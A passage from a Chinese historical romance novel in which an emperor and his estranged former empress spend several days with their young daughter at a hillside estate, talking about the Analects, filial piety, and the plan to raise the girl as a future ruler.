元衡放下满满,小姑娘像是一只兔子一样一蹦一跳进了屋。 元衡亲自将那两道菜端出去,就好像这个院子中根本没有皇帝。 他看着满满的背影,一瞬间竟在想,如果有朝一日他不当皇帝了,如果能够在这样一个小院中,和她一起看着满满无忧无虑地长大,也是一种不错的选择。 可如果是这样,他当初同她一起走便是了,为何还要坚持将她强留在身边呢? 他终究还是有自己放不下的东西,比如说皇权,比如说抱负,哪怕是这一次,想要来彭城是跟随内心的冲动,可最后还是带来了些别的目的。 …… 自满满记事以来,这是第一次同自己的阿娘吃饭。 桌上只有一道撒了肉沫的嫩笋,还有一道早就备好的蒸鸭,卖相比起皇宫的膳食点心来说算不上好。 可满满觉得,这就是她吃过的最好吃的一顿饭。 或许是因为吃得急,满满不一会儿便吃饱了,竟是一时有些沮丧。 岑璠将桌上的梅干推给她,“鸭子油腻,满满来吃点梅子能解腻。” 满满皱起眉,摇了摇头道:“满满不吃,父皇说我不能吃梅子,会长疙瘩。” 元衡想要提醒她,“满满小时候误食过梅子,会过敏。” 过了这么多年,若不是被提醒,岑璠差点忘了,元衡吃梅子原来也是过敏的。 而这个女儿也是他的血脉,除了长相,肯定也会很多和他相似的地方。 她刚从华山县离开的那阵,不是没有懊恼焦虑过,觉得她和皇帝生了孩子,会是这辈子甩不掉的麻烦。 可在第一年回皇宫时,看到小姑娘趴在地上抓周,蹒跚学步,到底是有动容。 满满那年一声一声唤她娘,她不是没有听见。 后来她有了事可做,慢慢也就接受了自己曾经是这宫里的皇后的事实,也接受了自己有很多不堪的过往。 过去很糟糕又如何?她现在还是岑璠,找到了自己想做的事,那便不算虚度。 接受曾经的自己,其实也并不是那么难, 岑璠笑着将那盘梅子拉远了些,“差点忘了,你同你父皇一样,吃不得这个。” “阿娘也知道父皇不吃梅子呀!” 岑璠想起方才元衡的叮嘱,配合地哄道:“当然知道,阿娘还知道很多你父皇的事。” 满满哪知道两个大人串通好了骗她开心,只从自家阿娘的话语中听出,他们之间的关系不像外面说的那么不堪。 她就说她的父皇不会骗她,都是小姑姑在说谎。 她放下筷子,问道:“那母后都知道父皇的什么事呀?” 这倒是让岑璠有些为难,在她残存的印象里,他是爱围着她打转,可好像那些乱七八糟的事没有一件是能同满满说的。 她打马虎眼道:“你父皇是皇帝,是要面子的,有些事不能让你知道。” 满满瘪了嘴,“知道了。” “那阿娘能不能讲一讲自己的事呀,听父皇说您去过很多地方。” 岑璠抿唇一笑,“满满想要听什么?” 小姑娘的眼睛骨碌碌地转了一圈,“阿娘就讲讲这次出去的事吧。” 岑璠想了想,便是从自己秋时乘船走时一直讲,讲怎么渡大河,去晋阳的路上发生了什么,又为何去了平城,一直讲到这次回来。 满满从来没有去过晋阳和平城,却是知道自己的父皇曾经是晋王,和母后过去就在那里生活。 她时不时问两句,岑璠真假掺半地讲给她听,有元衡在旁三言两语帮衬一二,小姑娘便全都信了去。 烛火一点点地燃烧,山间没有打更声,直到门外有人来问元衡,才发现天色已晚。 跟他上这座山的人不多,都是亲信,韩泽眼瞧着时候不早,走到门外问道:“陛下今晚打算宿在何处?” 元衡思索片刻,道:“现在回去。” 满满听后不愿,扭过身去看他,“可是父皇,我明天还要和母后去挖笋子…” 元衡听得出她的意思,却好声好气道:“母后这里住不下人,咱们先回去,明日父皇把你再送过来。” 满满浑身都在抗拒,往岑璠身上一倒,缠在她身上,“父皇骗人,母后的院子很大的,我不想回去,我想和母后一起。” 元衡抿了抿唇,道:“那你留在这里,明日父皇来接你。” 满满听说了不对,“父皇不留在这儿吗?” 元衡颔首道:“父皇回去。” 满满问道:“父皇不和我们一起睡吗?别人家的父母都是睡在一起的” 元衡皱起眉,“你是听谁说的?” 满满理直气壮道:“上次杨叔和叔母来宫里,就是住在一起的!还有王敬瑀他的爹娘也是这么说的!” 小姑娘口中的杨叔正是杨知聿两人,而王敬瑀则是王氏送入宫一起习书的孩子。 满满紧接着追问道:“难道父皇母后是在骗我?” 元衡一时犯难,他的满满聪明,这个时候已经不能当做什么都不懂的小孩子骗了 岑璠却是先他一步道:“阿娘没有骗满满。” 她目光移向他,“夜里山路不好走,满满和陛下就留在这里吧。” 满满眨了眨眼,问道:“那我能和母后一起睡吗?” 岑璠应允道:“当然能。” 小姑娘紧接着问道:“那我可以和父皇母后一起睡吗?” 岑璠话音顿了顿,瞧见小姑娘期盼的眼光却不忍心拒绝,“可以。” 满满立刻站了起来,迈开腿推开了门。 韩泽还在门外等着,抬头见到公主一个人跑出来,一时弄不清状况。 满满越走越近,笑着把他往外又推了几步,“父皇说了,今晚我们就在这里和母后一起睡,韩伯伯可以走啦!” 韩泽一边往后退,一边还是不肯相信,“陛下要在这里过夜?” 当年皇帝和皇后的事他虽然没有亲眼看到,可也知道皇后是报了必死的心要走了。 如今怎么可能允许陛下住在这里? 留在屋里的元衡也觉得不可置信。 岑璠收拾起碗筷,道:“这宅子里还有几间空屋子,天色已晚,让韩泽他们也住在这里吧。” 元衡跟着站起来帮她收拾,还是觉得不真实,“你…” 岑璠知道他要说什么,解释道:“陛下不是说这几日骗骗她,你我是她的父母,我又未再嫁,不过是一起陪她睡一晚,没什么不妥的。” 说罢,岑璠便出了屋门。 这套宅院靠近一处温泉,一行人刚从江上回来,岑璠向院内的人吩咐去准备沐浴要用的东西。 岑璠和满满在一处洗,隔了一道竹篱围栏,元衡都能听到小姑娘的吵闹声。 在宫里的时候,他确实没有听到满满如此吵闹过。 她应该是很喜欢自己的阿娘,才会这么开心。 他今日也很高兴,确切说,是许久没有这么高兴过了。 只是不知道过了这些日子,她以后还会不会回宫,而他下一次来又会是什么时候… 元衡不禁在想,若是当初他能有今日的心境,不把她逼的太狠,是不是会和今日有不同的结果。 他不得解,凡事不能再来,只叹了口气。 另一边,小姑娘的话还不停,又问了许多事,大到她这些年都在做什么,小到她喜欢吃什么,还问了许多关于她父皇的事。 岑璠一件件同她说,至于竟是同元衡编造的那些话大差不差。 小姑娘深信不疑,听的津津有味。 岑璠倒是说累了,也怕小孩子泡温泉太久,便是先给满满擦洗,让人先带着她出去。 再回到房中时,父女二人正在晾着头发,一大一小坐在同一张席上,读着同一本书。 那两张面容,一眼看上去便十分相似。 算来算去,面前的男人已经年近而立,却和她印象中没什么差别,还是那样五官俊美,眉眼深邃,脱下厚重繁复的华服,换上松垮寝衣,竟多了几分风流之姿。 岑璠不动声色地移开眼,听着父女二人的对话,这才发现元衡正在给满满讲的是正儿八经的论语。 她回过眼去,刚好见到满满回头看元衡,委屈地问道:“父皇,这些天就不能不背书吗…” “不行,”元衡用书点了点她的头,谆谆教诲,一板一眼地,像极了那学堂里的老学究,“船上这几日父皇没有考你,你就没有好好背,总不能因为来看你阿娘就找借口偷闲。须知道读书并非一日之功,有时荒废久了,过惯安逸日子,就很难再拿起书了。” 满满无法反驳,也知道自己这些日偷懒,“哦”了一声,便摇头晃脑将元衡刚才讲的那句大声背了出来。 岑璠静静看着,不免有些诧异。 他一个皇帝,平日里也是这样亲自教满满的吗? 第129章 第一百二十九章原来他是想让他们的女…… 她再走近些,父女俩人双双抬头,收起手中的书。 岑璠看向那本被翻旧的论语,摸了摸她的头,“能看懂吗?” 在她印象里,元衡自己肚子里的文墨都没多少,倒是对满满读书上心。 满满点了点头,“读不懂,不过父皇说啦,他也是从这个时候开始学这个的,这些书要从小开始读,读好多遍,长大了也要读。” 岑璠没有拆穿元衡的谎话,眼眸中带着笑,问道:“你还读过哪些书?” 满满将自己读的书掰着指头说了一遍,有小儿都会学的《三字经》,《千字文》,也有再大点的孩子才读的《大学》以及现在读的《论语》。 这个年纪读四书的孩子不多,他教她这些做什么? 岑璠目光移开,落在那个男人的身上。 满满抓住她的手摇晃,“阿娘能不能继续给我讲讲去平城的事呀…” 元衡替她拒绝道:“不行,你还有书没有读完。” 满满顿时泄了气,眼皮都耷拉了下来。 岑璠摸了摸她气呼呼的小脸,“你先去读书,听你父皇的话,明日也可以睡在阿娘这里。” 满满抬起头,下巴搁在她的腿上,眼睛中泛着光芒,“真的吗?” 闻言,元衡也不禁抬起头来,似也在问她一样。 岑璠轻轻点头,“真的。” 小姑娘迅速松开她,跑回到元衡身边,伸出一根手指,“父皇,我今晚还可以多背一则。” 元衡目光回到那本论语上,翻过页去,而后一本正经对小姑娘道:“下一则很难,今日你学好这一则便是。” 他说罢,想看看岑璠的态度,谁知她根本没有再理会他们两个,自去外面叫人给自己梳头去了。 小姑娘更高兴了,主动问了好多问题,而后顺溜地将那一则论语背了出来。 元衡无话可说,道:“上床去吧。” 岑璠刚将被子铺开,满满便躺在了中间。 岑璠坐在床上,摸了下她的头发,拿来帕子又给她擦了擦,“你的头发还没干,等会儿再睡。” 满满曾经也被元衡这么说过,只乖乖地躺中间,盖上被子,“那阿娘能不能给我讲故事呀?” 岑璠从小到大没有给谁讲过故事,她的父母也没有给她讲过多少。 现在她的小女儿,来问她讨故事来了。 元衡听到满满在闹,跟着走到床前,看了眼岑璠,缓缓坐到床上,岑璠抬眼,轻声问道:“你父皇平日都给你讲什么故事?” 小姑娘嘴里说个不停,把她听过的神仙说了个遍,有能召唤鬼怪的人,还有骑着鲤鱼成仙的人,听到后面,岑璠才隐约想到,那应该是本名叫搜神记的书。 元衡没有读过这本书,平日里也是因为满满闹腾,他专门让宫人找来一些书读来哄满满睡觉。 遗憾的是,满满说的这本书他没带过来。 他没得可讲,岑璠倒是听过些,讲了一则董永葬父,天帝派织女假扮董永的妻子,织布替他还债的事。 满满好奇地问道:“那仙女还完债之后呢?” 岑璠道:“自然是回天上去了。” 满满皱起眉,不满这个结局,“仙女走了,那董永怎么办呀?” 元衡觉得无所谓,“有手有脚的人,能怎么办?总不能一辈子指望织女给他织布。” 满满想了想,觉得也对,可又有地方想不懂,转过头去问,“母后,什么是葬父呀?” 两个大人对视一眼,岑璠敷衍道:“这个满满还太小,不需要知道。” “那我是不是以后也要卖身葬父呀?” 元衡道:“你是公主,不需要卖身做任何事,父皇也不希望你这样,这不叫孝,若是这个叫董永的真的孝,便该回家好好种田,守住家里的地,而不是卖身为奴。” 他哼了一声,嗤之以鼻,“让子孙皆寄人篱下为奴为婢,只为给过身之人买口棺材,他的父亲若泉下有知,怕是棺材板也压不住。” 元衡此番算是话糙理不糙,岑璠没有反驳。 在这些关于亲情礼法的观念上,她倒是与他出奇的一致。 不得不说,他不仅没有把满满教坏,反而教的很好…… 满满道:“那既然是错的,为什么书上要这么写呀?” 岑璠问她,“满满可知这本书是什么时候写的?” 满满摇了摇头,岑璠接着解释,“这本书写的朝代,皇帝得位不正,终日惶惶不安,只能以所谓的孝来愚弄百姓,久而久之百姓也开始崇尚极致的孝道,编造出许多孝子的故事,广为流传。” “其实这个故事再往前读,根本没有卖身葬父的说法,不过是清贫孝子努力耕作,供养老无所依的父亲罢了。” 这些事也是她走南闯北偶然听来,当时仿若醍醐灌顶,好像过去很多事都想通了,便一直记到今日。 满满听了个一知半解,却能听明白大概的意思,恍然大悟,“那就和父皇说的一样,书上说的不都是对的。” 岑璠认可道:“对于每一本书而言,写书的人都夹杂有自己的意图,不一定是对的。” “阿娘希望满满记住,孝始于事亲,终于立身。也就是说,你要做好你自己,有自己的抱负和立身的本事,这才是孝。” 满满回忆起父皇也曾对自己说过,她只需要学好本事,做一个能护好自己的人,他和阿娘就会高兴。 这一切仿佛都连成了一个闭环,满满不住地点头,接连又问了很多问题。 元衡接过话来,挨个回答她的问题,岑璠起初还能听得进去,后来便是犯困,闭上眼睡了过去。 父女二人对视,元衡做了个噤声的手势,下床吹灭灯。 满满缩回被子中,岑璠侧躺着,手还搭在满满的身上。 元衡面对母女二人躺下,借着薄纱似的月光看清了那张恬静的睡颜。 在曾经,她也很少有这般面对着他睡的时候… 深夜静谧,那枕 上还沾有她淡淡的香气,元衡不知不觉扬起一个笑,往事反复慢慢涌现。 他伸出手去,却在触及她的指尖的前一刻停住。 就维持着这样的姿势,三个人在一张床上睡了一夜。 天微白时,元衡先醒了过来。 他睁开了眼睛时,一大一小还是那样的睡姿, 满满长得很像他,可到底有她的样子。 小孩子爱出汗,元衡伸手轻轻擦掉小姑娘额头上的汗珠,又看向岑璠。 她闭着眼眸,眼睫似羽,就像很多个过去的早晨那样睡着。 这几年他也总是做这样的梦,梦到她就睡在他的身边,他起身就可以看到她。 手不知不觉伸向她,陡然间却又停止。 元衡深吸一口气,放轻动作缓缓下床,披上衣裳去厢房洗漱。 换好玄色的锦衣华服,走出房门,却是看见岑璠等在门外。 元衡不曾想她回来主动找他,她身上只披了件厚衣,不知是从何时开始等在门外,他想问她,也没什么立场。 元衡让开一个身位,示意她进来。 岑璠道:“外面不冷,我来只是想问陛下两件事。” 元衡还是坚持道:“还是进来说吧。” 岑璠毫不犹豫地往前迈一步,进了房门,而后没再同他说客道话,“我来是想问问陛下,打算待多久?” 她话里话外没有赶他走的意思,元衡照实说道:“等到办完事再走。” 岑璠早已猜到,接着问了第二个问题,“是萧晗的事对吗?” “是。”元衡承认,却又解释道:“不过此番南下,最主要还是满满想要见你,萧晗的事还不必我亲自来过问…” “我知道。”岑璠笑了笑,问道:“有什么需要我做的?我在附近认识的人不算少,或许能帮陛下找人。” 元衡斟酌片刻,只是问道:“你这些日能不下山吗?没有想要拘着你的意思,我只是担心…” 还未说完,岑璠便答应下来,“自然可以,这趟出去的久,我本意也是在山上多休养些时日,至于满满,我会仔细看着她。” 元衡略微放下心来,想到满满,却又想起来一件要交代的事,“今日我可能回不来,满满的功课不能落下,那本论语放到桌上折了角,你晚上给她讲讲…” “知道了。”岑璠简单应下这份差事,便打算出门。 元衡又不放心地唤住她,“今日的那则论语不好讲,你耐心同她说,她会明白的。” 岑璠心中腹诽,觉得多年不见他果真变得啰嗦了许多,也没将他的话太放在心上。 起码昨天的故事她讲的挺好,满满也听得懂。 岑璠换好衣裳,自去打理宅子中的事了。 小姑娘第一次出远门,没了平日早起读书的劲儿,一觉睡到晨时。 元衡这次来,小姑娘身边的人只带了紫芯和钱嬷嬷,两人同槿儿也已经三年未见,闲聊了一个晚上。 小姑娘起身后,三个人围着小姑娘给她梳洗打扮,槿儿抢着给她梳头,编了两条简简单单的麻花辫,连夸了好几个好看。 小姑娘身边常有人这么夸,可这一次格外高兴,捧着脸在镜前看了好久。 岑璠忙完自己的事才回来,手里提有一只空竹筐。 小姑娘看见竹筐,起身三步两步跑向她,眼睛笑成了月牙,“阿娘,咱们是去挖笋子吗?” 岑璠点头,让槿儿多拿了件衣裳,给小姑娘裹好,“山上冷,别着凉让你父皇担心。” 满满没有哭闹,乖乖地穿好衣裳,抓紧岑璠的小指,跟她出了门。 除了槿儿几个,岑璠只带了宅中的一位出身农户的老园丁。 老园丁只知道主人曾经的夫家上门,却不知那夫家究竟是何来头,只知道比这位女郎主还要富贵。 女郎主神秘莫测,平日习惯独处,却有一个絮絮叨叨的女儿。 老园丁不知道这家人到底是何关系,只觉得面前的小姑娘机灵可爱,连女郎主话都多了许多。 满满左顾右盼,东问西问,连问老园丁几个问题。 老园丁锄头抗肩,越说越起劲,来兴致时扯开嗓喊上几句山歌,激起几声鸟鸣,在山谷中空灵回响。 竹林离宅子不远,老园丁找到一棵老竹子,满是骄傲地教满满怎么顺着竹鞭找竹笋。 满满目不转睛地看老园丁拨开一层土,饱满的笋子露出尖来。 满满“哇”的一声喊出来,蹲下来手抓着笋尖往外拔,小孩子的天性暴露无遗。 老园丁嘿嘿笑了,“小丫头,你这样拔是拔不出来的,让老奴再挖一挖,说不定还有其他笋子呢!” 满满立刻跑开,老园丁拿铁锹挖开土,便又发现两颗冒尖的笋子。 小姑娘摇拽岑璠的衣袖,“阿娘你看,这儿还有笋子!” 老园丁眼睛也直了,扔下铁铲,用力掰下一颗,拍了拍那颗大笋,颇为自豪,“老奴刚才就觉得这儿笋子肯定多!你瞧瞧,这几颗都大,都能拔!” 满满跟着附和了好几句,等老园丁将笋子全都掰出来,嚷着要自己把最大的那颗笋子放进竹筐里,弄得满身都是土。 岑璠将竹筐背起,拍了拍她弄脏的衣裙,继续往山上走,又摘了几颗笋,便打算下山。 满满还觉得不够,赖在原地不肯走,岑璠告诉她不能贪,这些竹笋拔太多,来年这片地就可能长不出来竹子了。 听她这么说过,满满虽恋恋不舍,却没有再闹,抓住岑璠的手腕,“那我们下山吧。” 下山的路不好走,岑璠反握紧她的手,缓步往下走。 不过一会儿,却遇到一个上山的女子。 女子也背着一个竹筐,步履蹒跚地往山上走,面色不算好,瞧见他们几个,似是眼睛亮了些,疾步而来。 岑璠这才发现,女子的脚有些跛。 这附近住的人并不多,女子说的也不像彭城话,不过口音倒是相似,除了满满之外其他人都听得懂。 女子说家里的男人摔伤,来山里采药,上山时自己又崴了脚。 岑璠让老园丁回避,检查一番女子的脚踝,发现所言非虚。 她转头向槿儿单独交代了几句,然后她先回宅院,自己扶着女子往山下走。 出了竹林,地势相对平缓,槿儿骑马而来,还带来了常去山下采买针线首饰的婆子。 槿儿自己从马上下来,将怀里的伤药送给女子。 岑璠道:“这匹马性情温顺,有婆婆跟着,会把你送平安回家。” 女子看向手里的上药,愣了许久,而后咧开笑容,似乎有些语无伦次,“多谢夫人大恩!夫人心善!” “不知夫人家住在哪里?改日这脚伤好了,我去登门道谢。” 岑璠敛起神色,道:“我家也不在此处,不过是来此踏青,今日晚些也要回彭城了。” 女子倒是没质疑,只觉得面前的人穿的好,用的也好,不像是住在山里的人。 送走女 子后,岑璠便带着满满回去。 直到回到院子里,满满才将憋了一路的问题问了出来,“阿娘方才为何不同她说实话呀。” 岑璠同她解释道:“因为你父皇在这里,所以万事都要小心,不能将人领回家。满满已经长大了,以后也要知道,任何人说的话都不可轻信,明白吗?” “可她确实受伤了,也会说谎吗?” 岑璠不以为然地摇头,“一个人若想骗你,受点小伤又算什么?” 满满两腮鼓起,重重点两下头,而后摇头晃脑的念叨起来,“那就是父皇说的,害人之心不可有,防人之心不可无,看人不能只看表象,可怜的人有时是最爱骗人的。” 岑璠不由诧异,“你父皇还同你说过这些?” 提到这些,满满挺起胸膛,得意洋洋道:“那当然啦!” “父皇说了,以后如果满满当皇帝,每个人都要防,不能做个笨皇帝,要多留好多心眼。” 听到此处,岑璠目光凝在面前的小姑娘身上,所有的思绪陡然间滞住。 许久过后,她才回过神来,脸上又浮现出淡淡的浅笑,像是一盏清茶氤氲的雾气。 原来他是想让他们的女儿当皇帝啊… 第130章 第一百三十章姑娘愿不愿意再回去啊?…… 岑璠问满满,“满满要当皇帝吗?” 满满点头如捣蒜,觉得这是理所应当的事,“当然要!父皇说啦,满满长大以后会成为很好很好的皇帝!” 岑璠温笑道:“满满真的想好了?当皇帝可是很辛苦的,况且满满还是姑娘,自古可是没有哪个姑娘家当皇帝的。” 满满却是丝毫不畏惧,“之前没有女皇帝,满满就做第一个呀!” 岑璠忍俊不禁,“这也是你父皇同你说的?” 满满点头,像个小大人似的,一口气说的头头是道,“父皇还说啦,这个世上有过很多厉害的女子,比如曾祖母就很厉害,前朝也有很多比皇帝做的还好的女子,只不过是那些士大夫太迂腐,不肯承认她们很厉害,其实女子不比男子差的。” 岑璠沉默了许久,终于想明白了为何元衡要让她这么早去读那些书。 如果是要当皇帝,是该比其他孩子用功些。 她也不曾想,他竟是会把满满养成这样 这样一个好姑娘。 像是一朵被娇养的向阳花,无忧无虑地生长,明媚地绽放,是最夺目也是最温暖的存在。 他和她这样的人,在暗中摸爬滚打了半辈子,实在不该养出来这样的孩子才对 岑璠心中感慨,可到最后只是化作一抹浅笑。 她走进屋,拿出一套崭新的衣裙,蹲下身去,换掉满满身上那套满是灰土的衣裙,抬起头来,发现满满的脸上也有三道浅浅的灰痕,像是一只小花猫。 岑璠拿出帕子,帮她一点点擦拭干净,问道:“满满是不是从前没有这样玩过?” 满满摇了摇头,似也埋怨已久,“父皇说了,满满要成为储君,就要比其他人更努力,每日都要读书才行。” 一双像宝石般明耀的眼睛抬起,随即看向岑璠,小声问道:“阿娘,今天父皇不在,你可不可以给满满讲《论语》呀。” 岑璠站起身来,牵着她的手向外走去,“晚上阿娘再教你读。” “满满这几日在这儿,最主要是先玩好。” 满满眨了眨眼,“真的吗?” 岑璠低头看向她,话音如沐春风,“满满想当皇帝,也要多看多做,读万卷书不如行万里路,不能光盯着书本读。” “可父皇说读书最重要呀。” 岑璠边走边道:“他说的话也不全对的。” “你父皇这个人在外头打仗打了十几年,精力不在读书上,始终心有遗憾,所以总觉得书读的越多越好。可你父皇之所以能做个好皇帝,恰好是因为他在外面那些年亲身经历的多,知道百姓为何会过的苦。只不过这些事都是潜移默化的,所以你父皇也忽视了。” 满满呆愣住,“原来父皇没读过多少书呀,我还以为父皇比太傅有学问呢…” 岑璠意识到自己说错话,停住脚步,蹲下身去严肃道:“你父皇读书少是迫不得已,满满现在读的这些却也是很早之前读过的。” “一个人厉不厉害,不该看他读过多少书,而要看他的见识,以你父皇的见识,再教你十年也绰绰有余。” 满满坚定地点头,“父皇是最厉害的人,谁要是看不起父皇,满满将来肯定要把他打一顿。” 岑璠心道,以元衡对小姑娘的喜欢,要是听到这样一句话,会不会一晚上都睡不着觉… “满满放心吧,不会的。” 她这些年听到的不少,看到的也不少,在他手下的大魏欣欣向荣,他会成为万名敬仰的好皇帝。 岑璠理了理满满跑乱的头发,带着她在院子里转了一圈,摘了好些花。 直到晚上,岑璠才过手那本被翻旧的论语。 满满白日里摘的花还在篮子中,还未有衰败的迹象。 岑璠腾出来了一只空花瓶,装了半瓶水,满满正将那些花一枝枝插在花瓶里。 岑璠翻开那册论语,那册论语第一页密密麻麻的批注,她跟了元衡几年,认得那是他的字迹。到中间某页批注忽然断了,想来是那段日子太忙,没顾得上写… 就这样一页页翻,她仿佛从这本书中窥见了她不在父女二人身边的日子,过了许久才翻到折角的那页。 那一页上写的是“唯女子与小人难养也。” 难怪他说这句难讲,要交给她来讲… 满满看到她翻书,便凑了过来,看到那句话立刻便看懂了,竖起眉纠正道:“书上说的不对!” “满满才不难养,阿娘也不需要别人养,还有尔朱姨姨,尔朱姨姨还说过杨叔叔,说他那点俸禄还要她来养…” 岑璠这些年常去平城,也见过杨知聿一次,或许是因为在军镇待的太久,整个人都不拘小节,粗旷了些,蓄起了胡子。 这么多年和元衡一样不怎么变的人,实在不多。 想到尔朱阳当着满满的面数落,岑璠忍俊不禁,道:“满满说的对,只不过这世上还有很多女子没有能力养活自己,咱们以后要多帮帮她们。” 岑璠说完这句,便没再多讲,跳过这段,给满满讲下一句去了。 …… 元衡思来想去,还是在天黑时摸上山,去了岑璠的院子。 岑璠哄满满睡下,便裹上衣裳去了凉亭。 她在等他,想要问些事。 元衡回来以后,便看到她孤身一人在亭内烹茶,看上去有些冷。 他也不知道岑璠愿不愿意独处时让他近身,却神差鬼使地登上亭子。 岑璠回过身去,平静似水。 她似乎是在等他? 元衡立在原地,未再上前半步,等她发话。 岑璠浅浅一笑,拿起桌上不起眼的空盏 ,倒了杯热茶,显然是邀他共饮。 元衡没问什么,只在知晓了她的态度时,坐在了她的对面,端起茶盏。 岑璠不适时地开口,“陛下让我教的书,今日同满满讲过了。” 元衡一顿,嘴边才刚碰上那口热气,还没来得及喝上一口,便放下了杯盏。 他解释道:“我是觉得那句话由你来讲,能比我讲的更好。” 岑璠不以为意,轻轻摇头道:“陛下这些年将满满教的很好,她自己能懂,用不着讲太多。” 元衡很少听到她夸他,过去他竭尽所能,可无论如何也得不到她的一句夸赞。 哪怕只是夸他把满满教的好,他心里也喜极,像是第一次尝到糖的小孩,恨不得把糖纸也舔干净。 他又拿起杯盏,想喝口茶冷静一番,岑璠却紧接着问道:“听满满说,陛下想让她以后当皇帝?” 元衡愣了一瞬,刚抿了一口茶,又轻轻放下,认真地看着她的眼睛,“皎皎,当初我没说不许你再嫁,可我心里却没想过再娶,咱们就这一个女儿,她又这么聪明,我觉得她能做到…” 那双眼眸小心翼翼,带有讨好的意味,让岑璠莫名想起田里那只讨食的大黄狗。 可这么多年过去,即便他再叫她皎皎,岑璠心里生不起任何情绪。 老都老了,这么叫挺膈应的。 以岑璠对他的了解,若是她再说下去,也许他会顺着她的话得寸进尺。 于是她没再多问这件事,转而问道:“陛下今日可是去了城里?” 元衡道:“是,我就想去亲眼看看,彭城里现在怎么样,你住在这儿我才放心…” 彭城所处位置重要,这些年的地方官都不错,这几年的官更是勤勉,不知道是不是他有意安排。 只不过再好的官,也架不住皇帝来微服私访,若是彭城的父母官知道,怕是要睡不着觉了。 岑璠唇角勾起,像是在调侃,“陛下来的阵仗,倒是不怕被发现。” 说起这个,元衡倒是胸有成竹,“不会的,这支队伍是朕养起来的一支盐商,你也知道那些贩盐的商人都不老实,这些年私贩盐铁的不在少数…” “这支商队平日里的排场也不小,此前在瀛洲一带,这次也是第一次来彭城贩盐,在里面掺一些禁军,也没有人会发现什么。” 岑璠静静听着,淡然道:“陛下此番来,倒真实思虑周全。” 元衡紧接着回道:“那是自然,来见你,我自是要什么都考虑到。” 岑璠不肯再说话了,“满满已经睡了,陛下若是累,便去洗漱吧,我收拾了便回。” 元衡站起身,没有立刻离去,沉默许久问道:“你是不是又在赶我走?” 岑璠一副好脾气,嘴角的笑容甚至还没有消失,“若是要赶陛下走,陛下今晚是进不了这院子的。” 普天之下,能同元衡这么说话的也没几个。 可他就是反驳不了她的话,尤其是现在越来越落落大方的她。 元衡沉住气,一步一步下了台阶,而后又向亭中抬头看去,“你那天说可以帮找人,那些人在何处?” “陛下要找萧晗?” “有人说最后一次见到萧晗是在船上,我在此处不便让人大动干戈,会打草惊蛇,你若认识水上的人,自是再好不过。” 岑璠未犹豫太久,走下亭去,将腰间的香囊解下来,“陛下明日让人拿着这个香囊,找一个叫屠风的人,她会帮你找人。” 元衡盯着那香囊盯了很久,才从她手中拿走,不知不觉背过手去,摩挲了两下香囊上凹凸不平的花纹。 他客气地道了声“多谢”,头也不回地离开了。 元衡走后,岑璠也回到了亭中,盖上压火盖灭了炉子里的火。 槿儿一声不吭地走进亭中,帮她收拾杯盏。 岑璠问道:“槿儿在这里偷听了多久?” 槿儿哼哼两声,讪笑道:“也就一会儿,没听见什么…” 岑璠看她那副模样,无奈道:“那你笑什么?” 槿儿道:“我只是觉得这些年,陛下变了不少。” 岑璠微微挑眉,似是好奇,“槿儿觉得哪儿变了?” 槿儿咬紧下唇,皱眉想了半天,却想不出具体哪里变了,“总是就是,不像之前那样讨厌了…” 她猛然想到些词,打了个响指,“好像是没那么凶了,脾气好了不少!” 岑璠打趣道:“你这些话对皇帝说,是要掉脑袋的。” 槿儿声音弱了些,嘟囔道:“我看皇帝也未必和咱们计较这些…” 她眼珠子转了转,问道:“姑娘,我听说陛下对满满这些年很上心,您说倘若…我是说倘若,陛下若是真再改了脾气,不再拘着咱们,姑娘愿不愿意再回去啊?”【你现在阅读的是 】 130-135 第131章 第一百三十一章前夫是谁? 岑璠摇头,“若是当初没能出来,你说咱们会不会有这样的活法?” 槿儿听罢在亭内随意一做,靠在凭栏上,头探出亭外,看了看天上连成一片的星星,轻轻一叹。 确实,若不是当年姑娘出来,还把她带出了宫,她可能永远也看不到天地广阔。 或许她还待在宫里,每天晨起给姑娘梳头,这还算好,若是哪日陛下看她不顺眼,处置了她,那就不好了。 槿儿抿了抿唇,便也没再说什么。 * 翌日,元衡依旧是第一个起身的。 今日山间云垂得很低,如黛烟扣,元衡走出房门时天色尚且阴沉。 他此次来除了抓萧晗,也没有其他什么大事,昨日在彭城里转了一圈,觉得城内治理还算严明,便也没什么事可做了。 其实主要还是来见她。 可是真待在她的院子里,却又觉得像是外人一样,即便是同榻而眠,也仅仅是因为他们是满满的父母,没什么别的好说的了。 他也不知道为何,明明很想知道她这些过得如何,却又下不了决心去问。 他何时有过这般优柔寡断? 元衡自己也不明白,只是忽然间想起她昨日送他的香囊。 元衡从袖中拿出那只香囊,目光注视良久,默默地凑在袖口闻了闻。 她过去从来没有给自己什么香囊,过去常带的那只还是用来避孕的… 这只香囊上散发着淡淡的梅香,想来是冬日最后一批梅花开时被她装到了囊中。 这么多年,她还是没变,喜欢梅。 元衡轻轻摩挲那只香囊,眼神慢慢柔和下来,可有转眼间想起,他让她把这只香囊送给一个叫屠风的人。 那屠风是谁呢,怎么会知道她有这样一个香囊? 元衡忽然醒了,睁开眼睛,盯着香囊上细细密密的针脚,陷入沉思。 他的手渐渐收紧,却又异常平静。 他只是一个局外人,似乎对她的事无可奈何。 她已经不是他的妻了。 心情像是今日的天空,罩上一层阴霾,鼻尖的那一点香气也散去了。 元衡垂下手,眼底的颜色一点点沉下来,走出屋门,将那只香囊交给韩泽,让他亲自去查。 可刚将那只香囊交到别人手上,他又瞬间变了想法。 元衡跟着韩泽一起出了宅院。 * 这一日天色阴沉,码头边风起云布,湿寒扑面而来,打在身上。 天虽早,码头边上的人却比那日下船时还少许多。 浪花拍打,溅在岸边,即便是这样,码头边的渔民还是卷起裤腿在岸边撒网,冲上来的水浪打湿了裤腿,看着都冷。 韩泽四处观望,并不抱什么希望能找到人。 他上前随便问了个渔民,还不忘拱手行一礼。 元衡紧随其后,弯着腰拾网渔民直起身,本是想随便打发几句,见韩泽举手头足间的有礼,又上下打量一番他身后之人,只觉满身的贵气和威严,态度又缓和几分。 “几位仁兄找我何事?” 韩泽上前,和颜悦色地问道:“这位兄台,可曾认得一个叫屠风的?” 渔民听后,神色有异,又仔仔细细将几人看了个遍。 那反应显然是认得。 韩泽在宫中多年,察言观色是一流,当机立断,没再给他犹豫的机会,问道:“敢问此人在何处?” 渔民便是没耐心再细想,朝远处扯了一嗓子,“屠婆子,有人找你哩!” 闻言,跟在韩泽后面的元衡一愣,凝了一早晨的眉舒展开几分。 原来岑璠让他找的屠风,竟然是个女人? 还来不及反应,便是感觉有人朝这边奔来,震得码头上的木板轰隆作响。 